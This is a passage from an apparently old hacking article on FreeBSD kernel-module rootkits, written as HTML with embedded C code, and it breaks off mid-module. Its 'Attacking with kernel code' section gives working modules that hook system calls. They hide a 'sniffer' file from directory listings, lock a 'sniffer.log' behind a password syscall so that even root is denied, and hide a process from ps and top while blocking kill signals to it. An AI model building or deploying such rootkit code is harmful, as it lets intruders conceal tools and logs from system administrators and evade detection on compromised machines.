  1938. /*the process we want to 'abuse' for saving our data in its VM space.
  1939. I used curproc which always points to the current process.*/
  1940. struct proc *userproc=curproc;
  1941. /*NOTE : The following stuff is very experimental !
  1942. ----
  1943. */
  1944. /*
  1945. allocate 4096 bytes of heap memory for the user space args :
  1946. ctob : transforms a given page count to the corresponding bytes count;
  1947. of course, this calculation depends on the underlying architecture
  1948. btoc : this is the counterpart to ctob
  1949. */
  1950. oa.nsize=userproc->p_vmspace->vm_daddr+ctob(userproc->p_vmspace->vm_dsize)+
  1951. 4096;
  1952. /*this is just for debugging*/
  1953. printf("Process ID : %d\n", userproc->p_pid);
  1954. printf("OLD DATA SEGMENT SIZE (bytes) : %d\n", ctob(userproc->p_vmspace->vm_dsize));
  1955. printf("OBREAK RETURN VALUE : %d\n",obreak(userproc, &oa));
  1956. printf("NEW DATA SEGMENT SIZE (bytes) : %d\n", ctob(userproc->p_vmspace->vm_dsize));
  1957. /*move our directory name to a random location in the user space data segment
  1958. range (within the newly allocated page*/
  1959. user_name=oa.nsize-80;
  1960. /*use copyout, which is able to copy from kernel to user space*/
  1961. copyout(kernel_name, user_name, strlen(kernel_name));
  1962. /*just for debugging : where did we save the name in user space?*/
  1963. printf("USER NAME ADDRESS : %p\n", user_name);
  1964. /*now it gets a bit tricky :
  1965. --------------------------
  1966. we move the VM address from user space into the kernel_ma.path pointer in
  1967. kernel space*/
  1968. kernel_ma.path=oa.nsize-80;
  1969. /*creation mode = 0*/
  1970. kernel_ma.mode=0;
  1971. /*NOW the kernel_ma structure is ok, we can copy this structure to user space
  1972. */
  1973. /*select a place (within the allocated page) where to put the user_ma
  1974. structure*/
  1975. user_ma=(struct mkdir_args*)oa.nsize-50;
  1976. /*again a copyout*/
  1977. copyout(&kernel_ma, user_ma, sizeof(struct mkdir_args));
  1978. /*again some debug messages*/
  1979. printf("USER STRUCT ADDRESS : %p\n",user_ma);
  1980. /*Issue the mkdir syscall. Did we succeed ? Zero return value stands for
  1981. success.*/
  1982. printf("MKDIR RETURN : %d\n", mkdir(userproc, user_ma));
  1983. return 0;
  1984. }
  1985. /*
  1986. * The `sysent' for the new syscall
  1987. */
  1988. static struct sysent user_syscall_sysent = {
  1989. 0,
  1990. user_syscall /* sy_call */
  1991. };
  1992. /*
  1993. * The offset in sysent where the syscall is allocated.
  1994. */
  1995. /*210 is a free slot in FreeBSD 3.1*/
  1996. static int offset = 210;
  1997. /*
  1998. * The function called at load/unload.
  1999. */
  2000. static int
  2001. load (struct module *module, int cmd, void *arg)
  2002. {
  2003. /*no special processing here*/
  2004. return 0;
  2005. }
  2006. SYSCALL_MODULE(syscall, &offset, &user_syscall_sysent, load, NULL);
  2007. </xmp>
  2008. The comments should make everything quite clear. The general idea is to use
  2009. the obreak system call to allocate some memory (move the vm_daddr).
  2010. <p>
  2011. <H3><A NAME="I.9."></A>9. Last Words</h3>
  2012. <p>
  2013. I hope you understood the stuff I mentioned in this basic section. It's really
  2014. important that you get the general ideas in order to understand part II.<br>
  2015. You should take a look at the man pages of section 9. There you can find some
  2016. interesting kernel functions that will be useful sometimes.
  2017. <p>
  2018. <H3><A NAME="II."></A>II. Attacking with kernel code</h3>
  2019. <p>
  2020. The general layout of this article is based on my Linux article. Part II Fun
  2021. & Profit will deal with ways to attack a FreeBSD system with modules. My Linux
  2022. article shows nearly every aspect of attacking a system with kernel code. The
  2023. FreeBSD part here is based on the ideas of Linux LKM hacks (I only added some
  2024. items special for FreeBSD). This FreeBSD part will only present those modules,
  2025. that needed big code/strategy modifications according to the Linux ones.
  2026. <p>
  2027. <H3><A NAME="II.1."></A>1. How to intercept system calls</h3>
  2028. <p>
  2029. Intercepting systemcalls on FreeBSD is nearly the same like doing this on a
  2030. Linux Box. Again we start with a very very basic example :
  2031. <xmp>
  2032. #include <sys/types.h>
  2033. #include <sys/param.h>
  2034. #include <sys/proc.h>
  2035. #include <sys/module.h>
  2036. #include <sys/sysent.h>
  2037. #include <sys/kernel.h>
  2038. #include <sys/systm.h>
  2039. #include <sys/linker.h>
  2040. #include <sys/sysproto.h>
  2041. #include <sys/sysent.h>
  2042. #include <sys/proc.h>
  2043. #include <sys/syscall.h>
  2044. /*The hacked system call*/
  2045. static int
  2046. hacked_mkdir (struct proc *p, struct mkdir_args *ua)
  2047. {
  2048. /*the only thing we do is printing a debug message*/
  2049. printf("MKDIR SYSCALL : %s\n", ua->path);
  2050. return mkdir(p, ua);
  2051. }
  2052. /*the sysentry for the hacked system call. Be careful, argument count must be
  2053. same for the hacked and the origanel system call (here 1)*/
  2054. static struct sysent
  2055. hacked_mkdir_mkdir_sysent = {
  2056. 1,
  2057. hacked_mkdir /* sy_call */
  2058. };
  2059. /*our load function*/
  2060. static int
  2061. dummy_handler (struct module *module, int cmd, void *arg)
  2062. {
  2063. int error = 0;
  2064. switch (cmd) {
  2065. case MOD_LOAD :
  2066. /*replace the mkdir syscall with our own*/
  2067. sysent[SYS_mkdir]=hacked_mkdir_mkdir_sysent;
  2068. break;
  2069. case MOD_UNLOAD :
  2070. /*argument count has not changed, so we only need to restore the
  2071. function pointer*/
  2072. sysent[SYS_mkdir].sy_call=(sy_call_t*)mkdir;
  2073. break;
  2074. default :
  2075. error = EINVAL;
  2076. break;
  2077. }
  2078. return error;
  2079. }
  2080. static moduledata_t syscall_mod = {
  2081. "Intercept",
  2082. dummy_handler,
  2083. NULL
  2084. };
  2085. DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
  2086. </xmp>
  2087. As you can see you don't have to save the old sysent entry, you just refer to
  2088. the original system call function (no problems like those we had with Linux
  2089. concerning public and private kernel items).<br>
  2090. Compile this module (as always take the Makefile from part I) and load it.
  2091. Every mkdir system call will produce a nice debug message. <br>
  2092. For those who don't know which system call to intercept, again : read my Linux
  2093. article. On FreeBSD ktrace can be quite useful.
  2094. <p>
  2095. <H3><A NAME="II.2."></A>2. Filesystem related hacks</h3>
  2096. <p>
  2097. Like the Linux one, we first start with filesystem hacks. They are really
  2098. important for hiding our tools & logs.
  2099. <p>
  2100. <H3><A NAME="II.2.1."></A>2.1. How to hide files</h3>
  2101. <p>
  2102. The following module represents the getdirentries hack that will hide a certain
  2103. file from directory listings made by commands like 'ls' :<br>
  2104. Note :
  2105. In Phrack (Volume 7, Issue 51 September 01, 1997, article 09) halflife already
  2106. presented a nice hack for this problem. It was implemented under FreeBSD 2.2
  2107. using the LKM scheme. He used a very short and good way to manage file hiding.
  2108. My code below does the same stuff for FreeBSD 3.x systems. My approach is not
  2109. so short, because I did user <-> kernel space transitions for clearness. The
  2110. whole thing would also work without this stuff, but my module can easily be
  2111. extended to do other things, because all relevant structures are copied to
  2112. kernel space so you can modify them how ever you want before they are copied
  2113. back.
  2114. <xmp>
  2115. #include <sys/types.h>
  2116. #include <sys/param.h>
  2117. #include <sys/proc.h>
  2118. #include <sys/module.h>
  2119. #include <sys/sysent.h>
  2120. #include <sys/kernel.h>
  2121. #include <sys/systm.h>
  2122. #include <sys/linker.h>
  2123. #include <sys/sysproto.h>
  2124. #include <sys/sysent.h>
  2125. #include <sys/proc.h>
  2126. #include <sys/syscall.h>
  2127. #include <sys/file.h>
  2128. #include <sys/malloc.h>
  2129. #include <sys/types.h>
  2130. #include <dirent.h>
  2131. /*We need to define M_DIRP2 for allocating some memory in kernel space with
  2132. the help of the MALLOC macro*/
  2133. MALLOC_DEFINE(M_DIRP2, "dirp2", "struct");
  2134. /*This hack is based on the getdents idea from some linux LKMs. FreeBSD is
  2135. a bit more tricky, but it works.*/
  2136. static int
  2137. hacked_getdirentries (struct proc *p, struct getdirentries_args *uap)
  2138. {
  2139. unsigned int tmp, n, t;
  2140. struct dirent *dirp2, *dirp3;
  2141. /*The file we want to hide : The name must match exactly !*/
  2142. char hide[]="sniffer";
  2143. /*just issue the syscall*/
  2144. getdirentries(p,uap);
  2145. /*this is the way BSD returns status values to the process issueing the
  2146. request.*/
  2147. tmp=p->p_retval[0];
  2148. if (tmp>0)
  2149. {
  2150. /*allocate memory*/
  2151. MALLOC(dirp2, struct dirent*, tmp, M_DIRP2, M_NOWAIT);
  2152. /*copy the dirent structure for user space in our kernel space*/
  2153. copyin(uap->buf, dirp2, tmp);
  2154. /*dirp3 points to dirp2*/
  2155. dirp3=dirp2;
  2156. t=tmp;
  2157. /*In this loop we check for every dirent structure in the user buffer*/
  2158. while (t > 0)
  2159. {
  2160. n = dirp3->d_reclen;
  2161. t-=n;
  2162. /*Do we have the entry for our file to hide*/
  2163. if (strcmp((char*)&(dirp3->d_name), (char*)&hide)==0)
  2164. {
  2165. if (t!=0)
  2166. {
  2167. /*ATTENTION : Do not use something like strcpy or so. bcopy is able to
  2168. handle overlapping memroy locations, so this is our choice*/
  2169. bcopy((char*)dirp3+n,dirp3, t);
  2170. }
  2171. /*the dirent structure list is shorter now*/
  2172. tmp-=n;
  2173. }
  2174. /*The following piece of code is necessary, because we get one dirent entry
  2175. with d_reclen=0, if we would not implement this, we would get an infinite
  2176. while loop*/
  2177. if (dirp3->d_reclen==0)
  2178. {
  2179. /*end is reached*/
  2180. t=0;
  2181. }
  2182. /*as long as there is something to copy, do it*/
  2183. if (t!=0)
  2184. /*get the next pointer from the dirent structure list*/
  2185. dirp3=(struct dirent*)((char*)dirp3+dirp3->d_reclen);
  2186. }
  2187. /*we must decrement the getdirentries user call return value, if we changed
  2188. something*/
  2189. p->p_retval[0]=tmp;
  2190. /*copy the whole (perhaps modified) memory back to the user buffer*/
  2191. copyout(dirp2, uap->buf, tmp);
  2192. /*free kernel memory*/
  2193. FREE(dirp2, M_DIRP2);
  2194. }
  2195. /*everything ok, so return 0*/
  2196. return 0;
  2197. }
  2198. /*the hacked getdirentries syscall*/
  2199. static struct sysent hacked_getdirentries_sysent = {
  2200. 4,
  2201. hacked_getdirentries /* sy_call */
  2202. };
  2203. /*
  2204. * The function called at load/unload.
  2205. */
  2206. static int
  2207. dummy_handler (struct module *module, int cmd, void *arg)
  2208. {
  2209. int error = 0;
  2210. switch (cmd) {
  2211. case MOD_LOAD :
  2212. /*replace the getdirentries syscall with our own*/
  2213. sysent[196]=hacked_getdirentries_sysent;
  2214. break;
  2215. case MOD_UNLOAD :
  2216. /*argument count has not changed, so we only need to restore the
  2217. function pointer*/
  2218. sysent[196].sy_call=(sy_call_t*)getdirentries;
  2219. break;
  2220. default :
  2221. error = EINVAL;
  2222. break;
  2223. }
  2224. return error;
  2225. }
  2226. /*you will recognize that this part is the same (I only changed the module
  2227. name) for every module I present.*/
  2228. static moduledata_t syscall_mod = {
  2229. "FileHider",
  2230. dummy_handler,
  2231. NULL
  2232. };
  2233. DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
  2234. </xmp>
  2235. The general idea is the same for FreeBSD and Linux, but there are some
  2236. differences concerning the coding. Especially the return value modification
  2237. must be done in a different way. My comments should be clear, so try it.
  2238. <p>
  2239. <H3><A NAME="II.2.2."></A>2.2 How to hide the file contents</h3>
  2240. <p>
  2241. The following implementation is an extension to the Linux one. The Linux module
  2242. was hiding a file contents so that a 'cat filename' returned with a 'file does
  2243. not exist' errror. I implemented no way for you (hacker) to access this file, I
  2244. only suggested some methods how to do it. The following module also implements
  2245. a way to access it by you :
  2246. <xmp>
  2247. /*This module demonstrates how to make a file unaccessible. It has a
  2248. authentication scheme which allows someone using the correct password (here
  2249. 007) to access the file. Only this user (represented by UID) can access it
  2250. later. The password (007) is given through a newly defined syscall.*/
  2251. #include <sys/types.h>
  2252. #include <sys/param.h>
  2253. #include <sys/proc.h>
  2254. #include <sys/module.h>
  2255. #include <sys/sysent.h>
  2256. #include <sys/kernel.h>
  2257. #include <sys/systm.h>
  2258. #include <sys/linker.h>
  2259. #include <sys/sysproto.h>
  2260. #include <sys/sysent.h>
  2261. #include <sys/proc.h>
  2262. #include <sys/syscall.h>
  2263. #include <sys/file.h>
  2264. #include <sys/malloc.h>
  2265. #include <sys/types.h>
  2266. #include <dirent.h>
  2267. /*this variable will hold the UID of the user who issued the system call with
  2268. the correct code*/
  2269. uid_t access_uid=-1;
  2270. /*code for authentication*/
  2271. #define CODE 007
  2272. /*
  2273. * Shareable process virtual address space.
  2274. * May eventually be merged with vm_map.
  2275. * Several fields are temporary (text, data stuff).
  2276. */
  2277. struct vmspace {
  2278. /*NOTE : I just used some padding stuff, to avoid too much include file
  2279. problems...
  2280. */
  2281. /* struct vm_map vm_map; VM address map */
  2282. char pad1[100];
  2283. /* struct pmap vm_pmap; private physical map */
  2284. char pad2[36];
  2285. int vm_refcnt; /* number of references */
  2286. caddr_t vm_shm; /* SYS5 shared memory private data XXX */
  2287. /* we copy from vm_startcopy to the end of the structure on fork */
  2288. #define vm_startcopy vm_rssize
  2289. segsz_t vm_rssize; /* current resident set size in pages */
  2290. segsz_t vm_swrss; /* resident set size before last swap */
  2291. segsz_t vm_tsize; /* text size (pages) XXX */
  2292. segsz_t vm_dsize; /* data size (pages) XXX */
  2293. segsz_t vm_ssize; /* stack size (pages) */
  2294. caddr_t vm_taddr; /* user virtual address of text XXX */
  2295. caddr_t vm_daddr; /* user virtual address of data XXX */
  2296. caddr_t vm_maxsaddr; /* user VA at max stack growth */
  2297. caddr_t vm_minsaddr; /* user VA at max stack growth */
  2298. };
  2299. /*arguments for the check_code system call*/
  2300. struct check_code_args {
  2301. int code;
  2302. };
  2303. /*after this check only the one who issued the syscall from user space is able
  2304. to access the file/directory or whatever (only this UID can access it). Of
  2305. course, before, he must supply the correct code.*/
  2306. static
  2307. void check_code(struct proc *p, struct check_code_args *uap)
  2308. {
  2309. if (uap->code==CODE)
  2310. access_uid=p->p_cred->pc_ucred->cr_uid;
  2311. else
  2312. access_uid=-1;
  2313. }
  2314. /*the hacked open syscall*/
  2315. static
  2316. int hacked_open(struct proc *p, struct open_args *uap)
  2317. {
  2318. char name[255];
  2319. /*the file we want to hide*/
  2320. char hide_name[]="sniffer.log";
  2321. size_t done;
  2322. /*get name*/
  2323. copyinstr(uap->path, name, 255, &done);
  2324. /*do we have the right file name?*/
  2325. if (strcmp((char*)&name, (char*)&hide_name)==0)
  2326. {
  2327. /*does this user have the right to access the file*/
  2328. if (access_uid==p->p_cred->pc_ucred->cr_uid)
  2329. {
  2330. /*if so, do a normal open*/
  2331. return open(p, uap);
  2332. }
  2333. /*no he has not got the right*/
  2334. else
  2335. /*standing for 'no such file or directory*/
  2336. return ENOENT;
  2337. }
  2338. /*if we don't have our file, just continue*/
  2339. return open(p, uap);
  2340. }
  2341. /*the hacked open syscall*/
  2342. static struct sysent hacked_open_sysent = {
  2343. 3,
  2344. hacked_open /* sy_call */
  2345. };
  2346. /*check code sysentry*/
  2347. static struct sysent check_code_sysent = {
  2348. 1,
  2349. check_code
  2350. };
  2351. /*
  2352. * The function called at load/unload.
  2353. */
  2354. static int
  2355. dummy_handler (struct module *module, int cmd, void *arg)
  2356. {
  2357. int error = 0;
  2358. switch (cmd) {
  2359. case MOD_LOAD :
  2360. /*replace the open syscall with our own*/
  2361. sysent[SYS_open]=hacked_open_sysent;
  2362. /*install check code system call (slot/number 210)*/
  2363. sysent[210]=check_code_sysent;
  2364. break;
  2365. case MOD_UNLOAD :
  2366. /*argument count has not changed, so we only need to restore the
  2367. function pointer*/
  2368. sysent[SYS_open].sy_call=(sy_call_t*)open;
  2369. break;
  2370. default :
  2371. error = EINVAL;
  2372. break;
  2373. }
  2374. return error;
  2375. }
  2376. static moduledata_t syscall_mod = {
  2377. "OpenHide",
  2378. dummy_handler,
  2379. NULL
  2380. };
  2381. DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
  2382. </xmp>
  2383. The open hack in general should be clear. If we have our filename we just
  2384. return 'no such file...'. The solution I present to access this file via an
  2385. authentication scheme is quite powerful. The user space program is very easy,
  2386. just issue a system call with syscall() with the correct code (I won't present
  2387. code because it's really too easy).<br>
  2388. After providing the correct code only you (your UID) has access to this file.
  2389. Even root cannot access it (he will also get 'no such file...').
  2390. <p>
  2391. <H3><A NAME="II.2.3."></A>2.3 And the rest?</h3>
  2392. <p>
  2393. Those who read my Linux LKM article will recognize that I explained more hacks
  2394. (like file operation redirection, mkdir interception etc.). Why don't I
  2395. present them here? Because these hacks are trivial to implement after the
  2396. things I said already.
  2397. <p>
  2398. <H3><A NAME="II.3."></A>3. Process related hacks</h3>
  2399. <p>
  2400. This section will introduce some modules making it possible to hide any
  2401. process and install a backdoor rootshell.
  2402. <p>
  2403. <H3><A NAME="II.3.1."></A>3.1 How to hide any process</h3>
  2404. <p>
  2405. Well, I have to admit that it wasn't very easy to make this possible on
  2406. FreeBSD. And the following solution is quite experimental (but working, of
  2407. course). You have to know that FreeBSD uses the so called KVM library to get
  2408. information on the processes of the system (it is a library interface to the
  2409. allproc and zombroc lists). Besides this, commands like top also use the
  2410. procfs. This means we have to attack two points. Hiding an entry from the
  2411. procfs is easy (just hide the PID from getdirentries), but what about the KVM
  2412. lib. Let me explain some words. The following explaination makes things easier
  2413. than they are in reality, but it's enough for a general understanding.
  2414. We start with a code snippet from the 'ps' command :
  2415. <xmp>
  2416. /*
  2417. * select procs
  2418. */
  2419. if ((kp = kvm_getprocs(kd, what, flag, &nentries)) == 0)
  2420. errx(1, "%s", kvm_geterr(kd));
  2421. if ((kinfo = malloc(nentries * sizeof(*kinfo))) == NULL)
  2422. err(1, NULL);
  2423. printf("SIZE %d\n", nentries*sizeof(*kinfo));
  2424. for (i = nentries; --i >= 0; ++kp) {
  2425. kinfo[i].ki_p = kp;
  2426. if (needuser)
  2427. saveuser(&kinfo[i]);
  2428. dynsizevars(&kinfo[i]);
  2429. }
  2430. sizevars();
  2431. /*
  2432. * print header
  2433. */
  2434. printheader();
  2435. if (nentries == 0)
  2436. exit(0);
  2437. /*
  2438. * sort proc list
  2439. */
  2440. qsort(kinfo, nentries, sizeof(KINFO), pscomp);
  2441. /*
  2442. * for each proc, call each variable output function.
  2443. */
  2444. for (i = lineno = 0; i < nentries; i++) {
  2445. if (xflg == 0 && (KI_EPROC(&kinfo[i])->e_tdev == NODEV ||
  2446. (KI_PROC(&kinfo[i])->p_flag & P_CONTROLT ) == 0))
  2447. continue;
  2448. for (vent = vhead; vent; vent = vent->next) {
  2449. (vent->var->oproc)(&kinfo[i], vent);
  2450. if (vent->next != NULL)
  2451. (void)putchar(' ');
  2452. }
  2453. (void)putchar('\n');
  2454. if (prtheader && lineno++ == prtheader - 4) {
  2455. (void)putchar('\n');
  2456. printheader();
  2457. lineno = 0;
  2458. }
  2459. }
  2460. exit(eval);
  2461. There is only one line interesting for us :
  2462. if ((kp = kvm_getprocs(kd, what, flag, &nentries)) == 0)
  2463. </xmp>
  2464. Note :
  2465. what=KERN_PROC_ALL for commands like 'ps' flag=0<br>
  2466. what=KERN_PRC_PID for commands like 'ps PID' flag=PID<br>
  2467. The kvm_getprocs function (from the KVM lib) is the user space interface to
  2468. access the kernel process lists. So let's take a look at this function in the
  2469. library :
  2470. <xmp>
  2471. struct kinfo_proc *
  2472. kvm_getprocs(kd, op, arg, cnt)
  2473. kvm_t *kd;
  2474. int op, arg;
  2475. int *cnt;
  2476. {
  2477. int mib[4], st, nprocs;
  2478. size_t size;
  2479. if (kd->procbase != 0) {
  2480. free((void *)kd->procbase);
  2481. /*
  2482. * Clear this pointer in case this call fails. Otherwise,
  2483. * kvm_close() will free it again.
  2484. */
  2485. kd->procbase = 0;
  2486. }
  2487. if (ISALIVE(kd)) {
  2488. size = 0;
  2489. mib[0] = CTL_KERN;
  2490. mib[1] = KERN_PROC;
  2491. mib[2] = op;
  2492. mib[3] = arg;
  2493. st = sysctl(mib, op == KERN_PROC_ALL ? 3 : 4, NULL, &size, NULL, 0);
  2494. if (st == -1) {
  2495. _kvm_syserr(kd, kd->program, "kvm_getprocs");
  2496. return (0);
  2497. }
  2498. do {
  2499. size += size / 10;
  2500. kd->procbase = (struct kinfo_proc *)
  2501. _kvm_realloc(kd, kd->procbase, size);
  2502. if (kd->procbase == 0)
  2503. return (0);
  2504. st = sysctl(mib, op == KERN_PROC_ALL ? 3 : 4,
  2505. kd->procbase, &size, NULL, 0);
  2506. } while (st == -1 && errno == ENOMEM);
  2507. if (st == -1) {
  2508. _kvm_syserr(kd, kd->program, "kvm_getprocs");
  2509. return (0);
  2510. }
  2511. if (size % sizeof(struct kinfo_proc) != 0) {
  2512. _kvm_err(kd, kd->program,
  2513. "proc size mismatch (%d total, %d chunks)",
  2514. size, sizeof(struct kinfo_proc));
  2515. return (0);
  2516. }
  2517. nprocs = size / sizeof(struct kinfo_proc);
  2518. } else {
  2519. struct nlist nl[4], *p;
  2520. nl[0].n_name = "_nprocs";
  2521. nl[1].n_name = "_allproc";
  2522. nl[2].n_name = "_zombproc";
  2523. nl[3].n_name = 0;
  2524. if (kvm_nlist(kd, nl) != 0) {
  2525. for (p = nl; p->n_type != 0; ++p)
  2526. ;
  2527. _kvm_err(kd, kd->program,
  2528. "%s: no such symbol", p->n_name);
  2529. return (0);
  2530. }
  2531. if (KREAD(kd, nl[0].n_value, &nprocs)) {
  2532. _kvm_err(kd, kd->program, "can't read nprocs");
  2533. return (0);
  2534. }
  2535. size = nprocs * sizeof(struct kinfo_proc);
  2536. kd->procbase = (struct kinfo_proc *)_kvm_malloc(kd, size);
  2537. if (kd->procbase == 0)
  2538. return (0);
  2539. nprocs = kvm_deadprocs(kd, op, arg, nl[1].n_value,
  2540. nl[2].n_value, nprocs);
  2541. #ifdef notdef
  2542. size = nprocs * sizeof(struct kinfo_proc);
  2543. (void)realloc(kd->procbase, size);
  2544. #endif
  2545. }
  2546. *cnt = nprocs;
  2547. return (kd->procbase);
  2548. }
  2549. </xmp>
  2550. Look at the ISALIVE if construct. Here the library call decides wether it looks
  2551. for 'living' procs (->allprocs list) or 'dead' procs (->zombrocs). My further
  2552. explaination (and module) is based on a 'living' process (what worth is a
  2553. 'dead' sniffer ?). So let's take a look at that case.<br>
  2554. First of all a MIB array is constructed where the operation (op) and an
  2555. argument (arg) is inserted. The other two fields are predefined. The op field
  2556. is equal to the what value from the ps program (KERN_PROC_ALL, for example)
  2557. and the arg field is equal to the flag variable in ps.c (1 or 0). After this
  2558. a sysctl is issued with the corresponding MIB.<br>
  2559. This sysctl call finally reaches sysctl_kern_proc :
  2560. <xmp>
  2561. static int
  2562. sysctl_kern_proc SYSCTL_HANDLER_ARGS
  2563. {
  2564. int *name = (int*) arg1;
  2565. u_int namelen = arg2;
  2566. struct proc *p;
  2567. int doingzomb;
  2568. int error = 0;
  2569. if (oidp->oid_number == KERN_PROC_PID) {
  2570. if (namelen != 1)
  2571. return (EINVAL);
  2572. p = pfind((pid_t)name[0]);
  2573. if (!p)
  2574. return (0);
  2575. error = sysctl_out_proc(p, req, 0);
  2576. return (error);
  2577. }
  2578. if (oidp->oid_number == KERN_PROC_ALL && !namelen)
  2579. ;
  2580. else if (oidp->oid_number != KERN_PROC_ALL && namelen == 1)
  2581. ;
  2582. else
  2583. return (EINVAL);
  2584. if (!req->oldptr) {
  2585. /* overestimate by 5 procs */
  2586. error = SYSCTL_OUT(req, 0, sizeof (struct kinfo_proc) * 5);
  2587. if (error)
  2588. return (error);
  2589. }
  2590. for (doingzomb=0 ; doingzomb < 2 ; doingzomb++) {
  2591. if (!doingzomb)
  2592. p = allproc.lh_first;
  2593. else
  2594. p = zombproc.lh_first;
  2595. for (; p != 0; p = p->p_list.le_next) {
  2596. /*
  2597. * Skip embryonic processes.
  2598. */
  2599. if (p->p_stat == SIDL)
  2600. continue;
  2601. /*
  2602. * TODO - make more efficient (see notes below).
  2603. * do by session.
  2604. */
  2605. switch (oidp->oid_number) {
  2606. case KERN_PROC_PGRP:
  2607. /* could do this by traversing pgrp */
  2608. if (p->p_pgrp == NULL ||
  2609. p->p_pgrp->pg_id != (pid_t)name[0])
  2610. continue;
  2611. break;
  2612. case KERN_PROC_TTY:
  2613. if ((p->p_flag & P_CONTROLT) == 0 ||
  2614. p->p_session == NULL ||
  2615. p->p_session->s_ttyp == NULL ||
  2616. p->p_session->s_ttyp->t_dev != (dev_t)name[0])
  2617. continue;
  2618. break;
  2619. case KERN_PROC_UID:
  2620. if (p->p_ucred == NULL ||
  2621. p->p_ucred->cr_uid != (uid_t)name[0])
  2622. continue;
  2623. break;
  2624. case KERN_PROC_RUID:
  2625. if (p->p_ucred == NULL ||
  2626. p->p_cred->p_ruid != (uid_t)name[0])
  2627. continue;
  2628. break;
  2629. }
  2630. error = sysctl_out_proc(p, req, doingzomb);
  2631. if (error)
  2632. return (error);
  2633. }
  2634. }
  2635. return (0);
  2636. }
  2637. </xmp>
  2638. This function first checks whether we want information on all processes
  2639. (KERN_ALL_PROCS) or on a single process (KERN_PROC_PID). This means our hack
  2640. also must handle these two cases. The rest of the function is quite obvious.
  2641. The allproc data is collected and copied in the user space buffer. The last
  2642. sysctl_out_proc() function does the rest :
  2643. <xmp>
  2644. static int
  2645. sysctl_out_proc(struct proc *p, struct sysctl_req *req, int doingzomb)
  2646. {
  2647. struct eproc eproc;
  2648. int error;
  2649. pid_t pid = p->p_pid;
  2650. fill_eproc(p, &eproc);
  2651. error = SYSCTL_OUT(req,(caddr_t)p, sizeof(struct proc));
  2652. if (error)
  2653. return (error);
  2654. error = SYSCTL_OUT(req,(caddr_t)&eproc, sizeof(eproc));
  2655. if (error)
  2656. return (error);
  2657. if (!doingzomb && pid && (pfind(pid) != p))
  2658. return EAGAIN;
  2659. if (doingzomb && zpfind(pid) != p)
  2660. return EAGAIN;
  2661. return (0);
  2662. }
  2663. </xmp>
  2664. This will set return code and move the memory. That's all.
  2665. [A big SORRY to all kernel freaks, but explaining all this in more detail would
  2666. produce 100 pages and more... ]. <br>
  2667. My module also handles the kill signal just to demonstrate that it is also
  2668. possible to intercept any signal calls to the PID of the process we want to
  2669. hide. Recall that hiding does not mean that signals can't reach our process !
  2670. Here is my module :<br>
  2671. <xmp>
  2672. /*This module shows how to hide any process from commands like 'ps' or 'top'.
  2673. Recall that BSD uses the so called kvm library which uses special MIBs
  2674. with sysctl commands, to get access to the kernel 'allproc' and 'zombroc' list
  2675. from user space. Linux only relies on the procfs, so BSD is a bit harder to
  2676. attack.*/
  2677. /*FEATURES :
  2678. 1 - This module hides a certain process from proc lists produced by ps or top
  2679. 2 - This module hides a certain process from direct calls like 'ps PID'
  2680. 3 - This module intercepts the kill syscall in order to avoid killing our
  2681. process we want to hide (the kill is just an add-on, normally you are
  2682. secure enough with the points 1,2 and 4)
  2683. 4 - This module hides the proc entry from the procfs
  2684. */
  2685. #include <sys/types.h>
  2686. #include <sys/param.h>
  2687. #include <sys/proc.h>
  2688. #include <sys/module.h>
  2689. #include <sys/sysent.h>
  2690. #include <sys/kernel.h>
  2691. #include <sys/systm.h>
  2692. #include <sys/linker.h>
  2693. #include <sys/sysproto.h>
  2694. #include <sys/sysent.h>
  2695. #include <sys/proc.h>
  2696. #include <sys/syscall.h>
  2697. #include <sys/file.h>
  2698. #include <sys/malloc.h>
  2699. #include <sys/types.h>
  2700. #include <sys/queue.h>
  2701. #include <dirent.h>
  2702. #include <sys/sysctl.h>
  2703. /*exact name of the process (+arguments) we want to hide*/
  2704. #define HIDE_PROC "sniffer"
  2705. /*this structure is used by BSD to describe a process for user space programs*/
  2706. struct kinfo_proc {
  2707. struct proc kp_proc; /* proc structure */
  2708. struct eproc {
  2709. struct proc *e_paddr; /* address of proc */
  2710. struct session *e_sess; /* session pointer */
  2711. struct pcred e_pcred; /* process credentials */
  2712. struct ucred e_ucred; /* current credentials */
  2713. struct procsig e_procsig; /* shared signal structure */
  2714. /*PADDING stuff*/
  2715. /*struct vmspace e_vm; address space */
  2716. char pad1[180];
  2717. pid_t e_ppid; /* parent process id */
  2718. pid_t e_pgid; /* process group id */
  2719. short e_jobc; /* job control counter */
  2720. dev_t e_tdev; /* controlling tty dev */
  2721. pid_t e_tpgid; /* tty process group id */
  2722. struct session *e_tsess; /* tty session pointer */
  2723. #define WMESGLEN 7
  2724. char e_wmesg[WMESGLEN+1]; /* wchan message */
  2725. segsz_t e_xsize; /* text size */
  2726. short e_xrssize; /* text rss */
  2727. short e_xccount; /* text references */
  2728. short e_xswrss;
  2729. long e_flag;
  2730. #define EPROC_CTTY 0x01 /* controlling tty vnode active */
  2731. #define EPROC_SLEADER 0x02 /* session leader */
  2732. char e_login[roundup(MAXLOGNAME, sizeof(long))]; /* setlogin() name */
  2733. long e_spare[2];
  2734. } kp_eproc;
  2735. };
  2736. /*we need this counter to get the right sysctl call*/
  2737. int global_counter;
  2738. /*We need to define M_DIRP2 for allocating some memory in kernel space with
  2739. the help of the MALLOC macro*/
  2740. MALLOC_DEFINE(M_DIRP2, "dirp2", "struct");
  2741. /*This function returns the PID of the process we want to hide*/
  2742. int
  2743. get_pid()
  2744. {
  2745. struct proc *p;
  2746. p=allproc.lh_first;
  2747. for (; p!=0; p=p->p_list.le_next)
  2748. {
  2749. /*p->p_comm holds the process name*/
  2750. if (strcmp(p->p_comm, HIDE_PROC)==0)
  2751. {
  2752. return p->p_pid;
  2753. }
  2754. }
  2755. return -1;
  2756. }
  2757. /*nothing big, but for demonstration*/
  2758. static int
  2759. hacked_kill(struct proc *p, struct kill_args *uap)
  2760. {
  2761. if (uap->pid==get_pid())
  2762. return ESRCH;
  2763. else
  2764. return kill(p, uap);
  2765. }
  2766. /*the BIG sysctl hack :)*/
  2767. static int
  2768. hacked_sysctl(struct proc *p, struct sysctl_args *uap)
  2769. {
  2770. /*this will hold the MIB values*/
  2771. int mib[4];
  2772. size_t size, newsize;
  2773. /*this will hold the kinfo_proc structures in our kernel space*/
  2774. struct kinfo_proc kpr;
